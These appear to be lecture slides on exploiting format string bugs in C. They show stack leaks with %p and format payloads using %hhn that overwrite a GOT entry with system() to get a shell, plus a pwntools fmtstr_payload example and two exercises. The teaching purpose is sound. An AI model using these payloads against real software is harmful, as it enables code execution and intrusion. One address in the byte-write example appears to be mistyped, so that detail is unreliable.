Lecture 13

PWNing 3: Format string bug

Today

- What is format string bug?
- How to get a shell?

Format string bug

```
printf("%s", buf);
```

Format string bug

```
printf(buf);
```

specifier	Output	Example
d *or* i	Signed decimal integer	392
u	Unsigned decimal integer	7235
o	Unsigned octal	610
x	Unsigned hexadecimal integer	7fa
X	Unsigned hexadecimal integer (uppercase)	7FA
f	Decimal floating point, lowercase	392.65
F	Decimal floating point, uppercase	392.65
e	Scientific notation (mantissa/exponent), lowercase	3.9265e+2
E	Scientific notation (mantissa/exponent), uppercase	3.9265E+2
g	Use the shortest representation: %e or %f	392.65
G	Use the shortest representation: %E or %F	392.65
a	Hexadecimal floating point, lowercase	-0xc.90fep-2
A	Hexadecimal floating point, uppercase	-0XC.90FEP-2
c	Character	a
s	String of characters	sample
p	Pointer address	b8000000
n	Nothing printed. The corresponding argument must be a pointer to a signed int. The number of characters written so far is stored in the pointed location.	
%	A % followed by another % character will write a single % to the stream.	%

Format string bug

%p	Wyświetla wartość znajdującą się w danym miejscu na stosie
%4$p	Wyświetla wartość czwartego argumentu (%p %p %p **%p**)
%n	Zapisuje liczbę dotychczas wypisanych znaków pod wskazanym adresem **(signed int *)**
%hn	Analogicznie do %n, ale argument typu **signed short *** (zwykle 2 bajty)
%hhn	%n, ale **signed char *** (zwykle 1 bajt)

Format string bug exploitation

```
int foo()
{
     char buf[256];
     scanf("%s", buf);
     printf(buf);
}
```

> aaaa|%p|%p|%p|%p|%p|%p|%p|%p

aaaa|0xffb43a1c|0xf7589618|0xf775c858|
0xffb43a64|0xffb43a60|0x3|0x61616161|
0x7c70257c

Format string bug exploitation

```
int foo()
{
     char buf[256];
     scanf("%s", buf);
     printf(buf);
}
```

> aaaa|%p|%p|%p|%p|%p|%p|%p|%p

aaaa|0xffb43a1c|0xf7589618|0xf775c858|
0xffb43a64|0xffb43a60|0x3|0x61616161|
0x7c70257c

Format string bug exploitation

```
int foo()
{
     char buf[256];
     scanf("%s", buf);
     printf(buf);
}

int main()
{
     foo();
     printf(“sh”); // got 0x08041337
     // @system: 0x7ffafbfc
     return 0;
}
```

> \x37\x13\x04\x08|%7$p

\x37\x13\x04\x08|0x08041337

Format string bug exploitation

```
int foo()
{
     char buf[256];
     scanf("%s", buf);
     printf(buf);
}

int main()
{
     foo();
     printf("sh"); // got 0x08041337
     // @system: 0x7ffafbfc
     return 0;
}
```

> \x37\x13\x04\x08%248c%7$hhn

248+4 = 252 (0xfc)

Format string bug exploitation

```
int foo()
{
     char buf[256];
     scanf("%s", buf);
     printf(buf);
}

int main()
{
     foo();
     printf("sh"); // got 0x08041337
     // @system: 0x7ffafbfc
     return 0;
}
```

```
> \x37\x13\x04\x08
  \x38\x13\x04\x08
  \x39\x13\x04\x08
  \x40\x13\x04\x08
  %236c%7$hhn
  %255c%8$hhn
  %255c%9$hhn
  %133c%10$hhn
```

```
0x10 + 236 = 0xfc
0xfc + 255 = 0xfb
0xfb + 255 = 0xfa
0xfa + 133 = 0x7f
```

Profits

- Write-what-where
- Leaking data from stack (e.g. canaries, stack address)

pwntools

```
>>> from pwn import *
>>> writes = {0x08041337: 0x7ffaacac}
>>> print `fmtstr_payload(7, writes)`

'7\x13\x04\x088\x13\x04\x089\x13\x04\x08
:\x13\x04\x08%156c%7$hhn%8$hhn%78c%9$hhn
%133c%10$hhn'
```

Exercise 0x1

- ASLR + canaries
- Goal: use rop chain to call system(“sh”)

Exercise 0x2

- ASLR + canaries
- Goal: overwrite GOT to get a shell